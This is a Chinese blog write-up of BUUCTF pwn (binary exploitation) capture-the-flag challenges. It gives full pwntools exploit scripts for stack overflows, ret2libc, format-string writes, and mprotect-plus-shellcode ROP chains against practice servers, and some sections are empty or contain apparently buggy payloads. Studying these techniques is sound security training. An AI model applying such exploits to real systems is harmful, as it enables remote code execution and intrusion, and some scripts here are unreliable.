BUUCTF-PWN

1.test_your_nc

在这里插入图片描述
根据名字的提示,来测试一下我们的nc
在这里插入图片描述cat flag
得到我们的flag

nc的使用
nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等

常用语法:

nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

2.rip

拖到虚拟机里面看看有没有开启什么保护,没有开启保护,并且是一个64位的文件
在这里插入图片描述
拖到IDA里面去看看,发现一个危险函数gets,它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。顺便也知道了15个字节的存储空间,那么在栈帧中系统就会给我们分配一个15个字节的存储空间
在这里插入图片描述

fun函数里面发现了system函数,system是c语言下的一个可以执行shell命令的函数,目前你可以简单理解为,执行了这个危险函数,我们就拿到了远端服务器的shell,也就是相当于在windows下以管理员身份开启cmd,那么我们就可以通过一系列后续指令控制远端服务器。
在这里插入图片描述
所以我们的payload脚本可以这样写

from pwn import *
p = remote("node4.buuoj.cn",29740)
payload = b'a'*15 + b'b'*8 + p64(0x401186+1)
p.sendline(payload)
p.interactive()

我们发送了15个A用来填充s,再发送8个字节用来填充b,将地址打包位p64位的数据一起发送,就可以完成栈溢出,至于最后为什么要+1,我们可以发现,不加一我们在本地可以打通,但是却打不通远程,这也是我开头说的,和以前payload不一样的地方,原理我们是没有错的,这里+1是为了堆栈平衡。

远程连接成功
在这里插入图片描述

3.warmup_csaw_2016

首先看一下是多少位的文件,并且看一下是否开启保护,64位并且什么保护都没有开
在这里插入图片描述
IDA反编译一下,得到伪代码,看到gets危险函数,看到存储空间是40h
在这里插入图片描述
一下子看到system函数,和第二题一样的思路。
在这里插入图片描述
写payload脚本

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = remote("node4.buuoj.cn",25493)
payload = b'a'*(0x40+8) + p64(0x40060D)
p.sendline(payload)
p.interactive()

连接后爆出了flag
在这里插入图片描述

4.ciscn_2019_n_1

照常还是看一下有没有什么保护和多少位,开启了NX保护,不能用shellcode的方法了,64位文件
在这里插入图片描述
IDA反编译一下,找到func函数,可以看到v2的存储空间和系统函数system,和上面两题还是一个思路,换汤不换药
在这里插入图片描述
找一下system函数的地址
在这里插入图片描述
写一下payload

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",28170)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()

爆出来flag
在这里插入图片描述

5.pwn1_sctf_2016

老样子看看有没有开启什么保护,开启了NX(堆栈不可执行保护),不能用shellcode,32位
在这里插入图片描述
拖到IDA里面看一下,看到了fgets函数,但是限制了只能输入32个字节,没办法溢出。
看到另一个危险函数strcpy,个人感觉这是一个C++程序
然后就是我们来一点一点认识函数了

fgets
函数原型:char * fgets ( char * str, int num, FILE * stream );
函数功能:
从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num-1)个字符或到达换行符或到达文件末尾(以先发生的为准)。
换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。

std:replace
https://blog.csdn.net/jiary5201314/article/details/52502516
函数原型:
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value);
函数功能:
替换范围内的值
将new_value分配给[first,last)范围内所有等于old_value的元素。
该函数使用"operator ==" 将各个元素与old_value进行比较。
该功能模板的行为等效于:
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value)
{
while (first!=last) {
if (*first == old_value) *first=new_value;
++first;
}
}
参数再介绍:
first, last:将迭代器转发到元素序列中的初始位置和最终位置,这些元素支持比较并分配为T类型的值。
使用的范围是[first,last),其中包含first和last之间的所有元素,包括由指向的元素 首先但不是最后指出的元素。
old_value:要替换的值。
new_value:新的值
可以暂时粗略地地这样记下: replace (first,last,old_value,new_value);

std::string::operator=(&input, &s);
作用: 就是 将s指针赋值到 inputs地址里了。

strcpy:
函数原型:char * strcpy ( char * destination, const char * source );
函数功能:
将source指向的C字符串复制到destination指向的数组中,包括终止的空字符(并在该位置停止)。
为避免溢出,目标指向的数组的大小应足够长,以包含与源相同的C字符串(包括终止空字符),并且在内存中不应与源重叠。

这里溢出的思路就是,s距离栈底是0x3C(60),允许输入的是32个字节,看似没有毛病,但是下面的字符替换,将一个字节的“ I ” 替换成 三个字节的“ you ”,这样只要输入20个“ I ”,就可以替换60个字符,在输入4个字节替换ebp,最后用system系统函数,来替换返回地址。
在这里插入图片描述发现了system系统函数
在这里插入图片描述
通过以上思路,完成payload

from pwn import *
context(os='linux',arch='i386',log_level='debug')
p = remote("node4.buuoj.cn",25824)
payload = 'I'*20 + b'b'*4 + p32(0x08048F0D)
p.sendline(payload)
p.interactive()

得到flag
在这里插入图片描述

6.jarvisoj_level0

照常看看开了什么保护,开了NX,64位的程序
在这里插入图片描述拖到IDA里面看看
找到溢出点,read函数,buf的大小是0x80,这边read读入0x200,可以造成溢出

read
函数原型:
ssize_t read[1] (int fd, void *buf, size_t count);
读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移,是请求读取的字节数。若参数count 为0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0
函数功能:
可以读取文件。读取文件指从某一个已打开地文件中,读取一定数量地字符,然后将这些读取的字符放入某一个预存的缓冲区内,供以后使用。

在这里插入图片描述
找到了system函数,和上面的题目一样那都是简单栈溢出
在这里插入图片描述
所以老样子,覆盖存储空间,覆盖ebp,然后返回地址填上system的地址
在这里插入图片描述
写一下payload脚本

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('node4.buuoj.cn',29655)
payload=b'b'*(0x80+8) + p64(0x40059A)
p.sendline(payload)
p.interactive()

远程连接,得到flag
在这里插入图片描述

7.ciscn_2019_c_1

吐槽一下:这道题真的花了很长时间来看exp脚本,实在是看的人心累

看看开启什么保护没有,开了一个NX保护,64位文件
在这里插入图片描述
拖到IDA里面去看一下
观察到encrypt()函数里面有危险函数gets,应该是栈溢出

我们可以看到程序对输入得大小写和字符等进行了一个简单的加密,注意if(v0>=strlen(s))可以跳出这个if循环,而strlen()函数的特性时读取到\0时会结束所以我们可以payload前以\0开头,从而绕过if加密。
在这里插入图片描述
接下来,我就根据脚本一行一行解读

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
content=1

elf = ELF('ciscn_2019_c_1')

ret = 0x4006b9
pop_rdi_ret = 0x400c83

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"] 

def main():
	if content == 0:
		csw = process('ciscn_2019_c_1')
	else:
		csw = remote('node4.buuoj.cn',25070)
	payload1 = b'\0' + b'a'*(0x50-1+8) +p64(pop_rdi_ret) + p64(puts_got)
	payload1 = payload1 + p64(puts_plt) + p64(main_addr)
	
	csw.sendlineafter("Input your choice!\n",'1')
	csw.sendlineafter("Input your Plaintext to be encrypted\n",payload1)

	csw.recvuntil("Ciphertext\n")
	csw.recvline()

	puts_addr = csw.recv(6)
	puts_addr = u64(puts_addr.ljust(8,'\x00'))
	print(puts_addr)

	libc = LibcSearcher('puts',puts_addr)
	
	offset = puts_addr - libc.dump('puts')
	system_addr = offset + libc.dump('system')
	binsh_addr = offset + libc.dump('str_bin_sh')

	payload = b'\0' + b'a'*(0x50-1+8) +p64(ret) + p64(pop_rdi_ret)
	payload = payload + p64(binsh_addr) + p64(system_addr)

	csw.sendlineafter("Input your choice!\n",'1')
	csw.sendlineafter("Input your Plaintext to be encrypted\n",payload)

	csw.interactive()

main()

首先看ret这个地址,ubuntu18栈对齐非常玄学,要加个ret函数才可以溢出。

pop_rdi_ret这个地址就涉及到程序是32位还是64位了。
在这里插入图片描述
对于32位程序,传递参数可以通过栈溢出来直接修改参数信息,对于64位程序,可能需要利用GOT技术。

32位:padding + 当前函数返回地址(记为函数A) + 函数A的返回地址(记为函数B) + 函数A的参数
**注意:**函数A的返回地址比函数A的参数后入栈
64位:padding + 当前函数返回地址 + pop_rdi_addr + 第一个参数的地址 + 希望调用的函数

amd64的参数调用顺序是如下序列的自后而前,即:完成传递参数(地址)->本函数地址 -> 返回地址

… -> pop_rdi;ret -> argv -> call_addr -> ret_address

在这里插入图片描述在第一个payload1中我们需要让程序获得libc后能继续返回到程序初,所以我们将返回地址设为了main的地址
自此第一个payload1构造完成

补充:64位程序和32位程序运行时的区别
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序
在这里插入图片描述
再来看这两个函数:
规定先接收6个字节,舍弃接收到的字符串最后的’\x0’,这里还涉及到大端和小端
puts_addr = csw.recv(6)
也可以这样写puts_addr = peiqi.recv(7)[:-1]
[:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’\x0’
在这里插入图片描述

puts_addr = u64(puts_addr.ljust(8,'\x00'))
lijust(8,‘\0’),不满8位的用0补足
libc = LibcSearcher('puts',puts_addr)	//用来获得libc的版本

offset = puts_addr - libc.dump('puts')	//算出偏移量
system_addr = offset + libc.dump('system')	//偏移量+libc函数地址=实际函数地址
binsh_addr = offset + libc.dump('str_bin_sh')

构造rop执行system(‘/bin/sh’)

payload = b'\0' + b'a'*(0x50-1+8) +p64(ret) + p64(pop_rdi_ret)
payload = payload + p64(binsh_addr) + p64(system_addr)

说一下中间还要挑选libc版本
在这里插入图片描述
终于终于拿到flag
在这里插入图片描述

8.[第五空间2019 决赛]PWN5

做这题也算是开始学习格式化字符串的第一步,想想当初努力看了多久才能最终拿下格式化字符串这种类型的题目一血。

首先还是检测一下看开启了什么保护,多少位的文件
在这里插入图片描述
然后拖进IDA里面看一下主函数,发现有格式化字符串漏洞。
我们阅读一下代码,发现只要下面这个条件,我们就可以得到flag

atoi(&nptr) == unk_804C044

在这里插入图片描述

补充:atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数,应用在计算机程序和办公软件中。

我们nc看一下,然后输入%p,找出偏移量为10,通过修改改位置的地址和内容,使得上述等式成立
在这里插入图片描述
这里我贴一下脚本

from pwn import *
context(os='linux',arch='i386',log_level='debug')

csw = remote('node4.buuoj.cn',27004)

bss_addr = 0x0804C044

payload = p32(bss_addr) + 'aaaaaaaaaa%10$n'

csw.sendlineafter('your name:',payload)
csw.sendlineafter('your passwd:','14')

csw.interactive()

这里我的理解,通过%10$n的特性(如图),把bss的地址上赋值,不能超过read能够读入的最大数,输入的密码的长度,和我们通过%K $n得到的数要一样,这样我们才能拿到flag
在这里插入图片描述
拿到shell
在这里插入图片描述
我的题解和搜到的解析不太一样,可能是我误打误撞做出来的,在此声明一下。

9.ciscn_2019_n_8

老样子看一下,保护全开,32位
在这里插入图片描述看一下源代码,var是int数组,如果var[13]=0x11的话就能get flag
在这里插入图片描述
写一下脚本

from pwn import *

context(os='linux',arch='i386',log_level='debug')
content=1

def main():
	if content == 0:
		csw = process('ciscn_2019_n_8')
	else:
		csw = remote('node4.buuoj.cn',26280)

	payload = p32(0x11)*14

	csw.sendline(payload)
	
	csw.interactive()

main()

远程连接得到flag
在这里插入图片描述

10.[OGeek2019]babyrop

老样子看看开了啥保护,多少位文件
在这里插入图片描述然后拖进IDA里面看一下
看一下主函数,urandom输入一个4字节数给buf,然后把buf传给函数sub_804871F()
在这里插入图片描述
当buf传给函数sub_804871F(),由sprintf函数将a1(即主函数中的buf)写入s,从键盘读入数据赋值给buf。比较buf和s是否相同,不同则结束运行。注意这里函数返回v5变量。而read函数刚好可以溢出一字节覆盖v5的值。回到主函数,sub_804871F函数的返回值v5赋值给v2,v2作为sub_80487D0函数的参数。
需要绕过strncmp函数的判断。由于这里利用strlen函数读取buf的长度,而strlen是根据字符串结束标志(\x00)来判断的,所以我们只需要输入以‘\x00’开头的字符串截断就可以绕过判断
在这里插入图片描述
进入函数sub_80487D0()看一下,a1不等于127的时候,正好可以控制溢出
在这里插入图片描述
再看一下,buf是个7位数的数组,但是函数中有read(0,buf,0x20u),而经过计算,v5相当于buf的第8位,所以v5是可以被我们指定的。
在这里插入图片描述
需要注意的点,在泄露libc后,最后还要再传一次payload1,这样才能正确到达溢出点实现溢出。

利用read泄露libc

# -- coding:utf-8
from pwn import *
from LibcSearcher import *

csw = remote('node4.buuoj.cn',27254)
elf = ELF('./babyrop')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x8048825

payload1 = '\x00' + '\xff'*7
csw.sendline(payload1)

csw.recv()
payload2 = b'a'*(0xE7+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) +p32(8)
#main_addr作为返回地址,构造write(1,read_got,8)

csw.sendline(payload2)
read_addr = u32(csw.recv(4))

libc = LibcSearcher('read',read_addr)

offset = read_addr - libc.dump('read')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')

csw.sendline(payload1)
payload3 = b'a'*(0xE7+4) + p32(system_addr) +p32(1) + p32(binsh_addr)
csw.sendline(payload3)
csw.interactive()

利用write泄露libc

# -- coding:UTF-8
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p =remote('node4.buuoj.cn',27254)
elf = ELF('./babyrop')

payload = '\x00'+'\xff'*0x7
p.sendline(payload)

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048825
payload1 = 'a'*0xe7+'b'*0x4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(8)
p.recvuntil('Correct\n')
p.sendline(payload1)

write_addr = u32(p.recv(4))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
p.sendline(payload)
p.recvuntil('Correct\n')
payload2 = 'a'*0xe7+'b'*0x4 + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
p.sendline(payload2)
p.interactive()

远程连接拿到shell
在这里插入图片描述

11.jarvisoj_level2

老样子,看一下开的保护,多少位的文件
在这里插入图片描述
拖进IDA看一下,main()函数里面有read溢出,并且有系统函数system
在这里插入图片描述
并且有’/bin/sh’这个参数
在这里插入图片描述
在这里插入图片描述
然后构建exp,构造’system(‘/bin/sh/’)这样一个函数

from pwn import *

context(os='linux',arch='i386',log_level='debug')

csw = remote('node4.buuoj.cn',28683)

payload = p32(0x88+4) + p32(0x08048320) + p32(1) + p32(0x804A024)

csw.sendline(payload)

csw.interactive()

远程连接得到flag
在这里插入图片描述

flag{0e55e46a-c33d-4a43-b283-439de7443f2d}

12.get_started_3dsctf_2016

打开靶场,看看多少位的和开启了那些保护
在这里插入图片描述
观察一下主函数,可以看的有漏洞可以利用,危险函数gets
在这里插入图片描述
然后看到有一个get_flag的函数,虽然有一个if条件限制,但是我见其他人有这种做法,就是main函数溢出到返回地址的时候直接溢出到if条件判断里面,即使栈空间被破坏了,但是无所谓,已经输出flag了。
但是这种方法只能打通本地,没办法打通远程的。
在这里插入图片描述
将返回地址溢出成带参数的,大概就是这么布局:‘a’*offset + ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2

get_flag的返回地址,这个地址不能乱写,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出。C语言有个函数是exit,只要执行这个只要我们把get_flag的返回地址写成exit的地址,程序就可以结束并且有回显了。

脚本:

from pwn import *
context(os='linux',arch='i386',log_level='debug')

csw = remote('node4.buuoj.cn',29819)

get_flag=0x080489A0
exitebp=0x0804E6A0
payload = b'a'*(0x38) +p32(get_flag) +p32(exitebp) + p32(0x308CD64F) +p32(0x195719D1)

csw.sendline(payload)

csw.interactive()

得到flag
在这里插入图片描述

flag{fae28559-ca5f-4d22-904a-f818c56579b2}

另外很多大佬在这里用了其他一种方法,利用到了一种函数,但是我个人水平有限实在是没有看到,所以我在这边就没有自己写了,借鉴一下别的大佬的了。

有这么一个函数,mprotect,我们先来学习一下。*int mprotect(const void start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。第二个参数是地址往后多大的长度。第三个参数的是要赋予的权限。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
prot=7 是可读可写可执行 这个是个知识点。。。我是没找到出处,我唯一能想到的就是师傅在调试的过程发现第三个参数等于7是赋给的内存地址权限是可读可写可执行叭。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
在这里插入图片描述
从这里找个地址就可以,我这里取0x80ea00这个地址,大小为0x1000
别的大佬写的exp

from pwn import *
q = remote('node3.buuoj.cn',29645)
#q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'

mprotect = 0x0806EC80
buf = 0x80ea000
pop_3_ret = 0x0804f460
read_addr = 0x0806E140

payload = 'a'*56
payload += p32(mprotect)
payload += p32(pop_3_ret)
payload += p32(buf)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(buf)
payload += p32(0)
payload += p32(buf)
payload += p32(0x100)
q.sendline(payload)
sleep(0.1)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
q.sendline(shellcode)
sleep(0.1)
q.interactive()

13.bjdctf_2020_babystack

写这题的时候我一开始想的复杂了,还想着去找lic版本,后来仔细看代码后发现根本不需要
还是一样我们先来看看开启了什么保护和位数
在这里插入图片描述
在nc一下看看,想看看有没有格式化字符串漏洞的,发现并没有
在这里插入图片描述
然后我们来观察代码,buf读入的数据长度由我们输入的nbytes来控制,所以这里可以利用它来溢出
在这里插入图片描述
还发现了后门函数
在这里插入图片描述
就是最简单的栈溢出,也没有什么特别的地方,直接上脚本了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

csw = remote('node4.buuoj.cn',28600)

payload = b'a'*(0x10+8) +p64(0x4006E6)
csw.sendlineafter("[+]Please input the length of your name:\n",'45')
csw.sendlineafter("[+]What's u name?\n",payload)

csw.interactive()

得到flag为
在这里插入图片描述

14.ciscn_2019_en_2

15.not_the_same_3dsctf_2016

首先还是checksec一下
在这里插入图片描述
然后拖进IDA里面看一下
主函数里面有gets函数,可以栈溢出
在这里插入图片描述
有一个后门函数,会把flag放在bss段上
在这里插入图片描述
这里为我我的脑瘫买单,我居然想着直接ret2txt。
这里我们看一个大佬的博客https://www.yulate.com/82.html

这里直接写怎么利用了
mprotect函数的第一个参数需要设置为要被修改内存的地址,这里设置为.got.plt表的起始地址,这里不去修改bss字段是因为bss段是用来存放程序中未初始化的全局变量和静态变量的一块内存区域,程序一开始执行的时候会清0,你虽然修改了里面的值,但是程序一执行就会被清0,没法利用。

第二个参数需要设置为被修改内存的大小,这里我还没完全弄明白具体要设置多大,这里我设置为0x100

第三个参数需要设置为被修改内存的权限,这里设置为7 = 4 + 2 + 1 (rwx) 也就是读写执行,这里如果不是很理解,可以百度一下Linux权限。
在这里插入图片描述
返回地址覆盖需要三个连续的pop地址,因为mprotect函数需要传入三个地址,使用ROPgadget来获取地址

ROPgadget --binary not_the_same_3dsctf_2016 --only 'pop|ret' | grep pop

在这里插入图片描述
在这一大串里面选一个就行

0x0806fcf0 : pop edx ; pop ecx ; pop ebx ; ret

payload

from pwn import *

context(os='linux',arch='i386',log_level='debug')

csw = remote('node4.buuoj.cn',25498)

pop3_ret = 0x0806fcf0		# 三个连续的pop地址,查出来选一个就行了
elf = ELF('./not_the_same_3dsctf_2016')

got_plt_addr = 0x080EB000	# .got.plt表的起始地址
got_plt_len = 0x100			# 内存长度
got_plt_type = 0x07			# 内存权限,读写执行

payload = b'a'*(0x2D) + p32(elf.symbols['mprotect'])	# 这边不用覆盖ebp,在于get_flag并没有push ebp
# 进行栈溢出,将mprotect函数的地址填入返回地址处
payload+=p32(pop3_ret)
payload+=p32(got_plt_addr) +p32(got_plt_len)+p32(got_plt_type)
payload+=p32(elf.symbols['read'])	#将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
payload+=p32(pop3_ret)
payload+=p32(0) + p32(got_plt_addr) + p32(got_plt_len)
payload+=p32(got_plt_addr)

csw.sendline(payload)
# read写入shellcode
payload = asm(shellcraft.sh())

csw.sendline(payload)
csw.interactive()

总结来说就是在存在mprotect函数的情况下,如果出现打开文件之类的操作就可以控制.got.plt表进行内容的读取

payload构建流程:

垃圾数据 --> mprotect函数地址 --> 三个连续的pop地址 --> .got.plt表起始地址 --> 内存长度 --> 内存权限 --> read函数
 --> 三个连续的pop地址 --> read函数的三个参数 --> .got.plt表的起始地址

得到flag
在这里插入图片描述

16.[HarekazeCTF2019]baby_rop

17.jarvisoj_level2_x64

首先还是先看一下开启了什么保护
在这里插入图片描述
然后打开IDA,找到bin/sh和system
在这里插入图片描述
在这里插入图片描述

rop
首先 read() 函数存在缓冲区溢出漏洞
这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
而是这样 :
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 :
rdi, rsi, rdx, rcx, r8, r9
如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
详情请参考文章末尾的参考链接
我们这里需要构造 system(“/bin/sh”) 的调用栈
因此需要使用到寄存器传参 , 根据 rop 的思想 :
需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码
可以利用 ropper 在可执行程序中寻找 :
ropper -f level2_x64 --search “pop|rdi|ret|”
找到一个可用的 :
0x00000000000006b3: pop rdi; ret;
然后就可以构造 payload
payload = junk + fake + pop_rdi_ret_address + bin_sh_address + system_address
该题目中在数据段已经给了 “/bin/sh” 的字符串 , 我们只需要使用即可

构造payload:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

csw = remote('node4.buuoj.cn',25188)

pop_rdi = 0x4006b3
system = 0x40063E
bin_sh = 0x600A90

payload= b'a'*(0x80+8)+ p64(pop_rdi) + p64(bin_sh) + p64(system)

csw.sendline(payload)
csw.interactive()

得到flag
在这里插入图片描述

18.ciscn_2019_n_5

看了一下基本上就没有开启什么保护,感觉可以直接用shellcode
在这里插入图片描述
拖进IDA看一下,有gets函数,可以栈溢出
在这里插入图片描述
name在.bss段,可以通过在.bss段写入shellcode,然后控制返回到.bss段,来获得shell
在这里插入图片描述
.bss段可读可写,所以我们就利用这一段
在这里插入图片描述
贴一下脚本

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

csw = remote('node4.buuoj.cn',25003)

shellcode = asm(shellcraft.sh())

payload = b'a'*(0x20+8) + p64(0x601080)

csw.sendlineafter('tell me your name',shellcode)
csw.sendlineafter('What do you want to say to me?',payload)
csw.interactive()

得到flag
在这里插入图片描述

19.others_shellcode

看一下开了什么保护
在这里插入图片描述
拖进IDA看一下,其实看到这个的时候我感觉好像可以直接getshell,nc一下就好了
在这里插入图片描述
想要获得一个shell, 除了system(“/bin/sh”) 以外, 还有一种更好的方法, 就是系统调用中的 execve(“/bin/sh”, NULL, NULL)获得shell。
我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用
其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。
64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。

在汇编中看看, 嘶发现有 int 80 指令。eax = 0FFFFFFFFh - 0FFFFFFF4h = 11。看上面函数也发现result也就是eax的值就是11
在这里插入图片描述
最后我直接nc得到了flag
在这里插入图片描述

20.ciscn_2019_ne_5

看一下是多少位的文件,开启了什么保护
在这里插入图片描述
拖进IDA里面看一下,我们看一下main函数的代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [esp+0h] [ebp-100h]
  char src[4]; // [esp+4h] [ebp-FCh]
  char v5; // [esp+8h] [ebp-F8h]
  char s1[4]; // [esp+84h] [ebp-7Ch]
  char v7; // [esp+88h] [ebp-78h]
  const char *v8; // [esp+E8h] [ebp-18h]
  int *v9; // [esp+ECh] [ebp-14h]
  int *v10; // [esp+F4h] [ebp-Ch]

  v10 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(&v7, 0, 0x60u);
  *(_DWORD *)src = 48;
  memset(&v5, 0, 0x7Cu);
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf();
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exit\n:");
    v9 = &v3;
    v8 = "%d";
    __isoc99_scanf();
    switch ( v3 )
    {
      case 0:
        exit(0);
        return;
      case 1:
        AddLog(src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}

21.铁人三项(第五赛区)_2018_rop

22.bjdctf_2020_babyrop

23.bjdctf_2020_babystack2

24.jarvisoj_fm

看一下多少位的文件,开了什么样的保护
在这里插入图片描述
拖进IDA里面看一下,发现没有什么可以溢出的地方,只要x==4,就可以调用system。
看到有一句代码是:

printf(&buf)

心里大概率猜到这是格式化字符串漏洞了。
在这里插入图片描述
和之前在攻防世界做的题目,还有我上面写的buu里面的格式化字符串的题目基本上一样,我这里就不再多说了,直接来看一下测试点,基本上可以确定是格式化字符串漏洞了。
在这里插入图片描述
这里我就直接贴脚本了。

from pwn import *
context(os='linux',arch='i386',log_level='debug')

csw = remote('node4.buuoj.cn',25956)

addr_x = 0x0804A02C

payload = p32(addr_x) + '%11$n'

csw.sendline(payload)
csw.interactive()

得到flag
在这里插入图片描述

  • 6
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值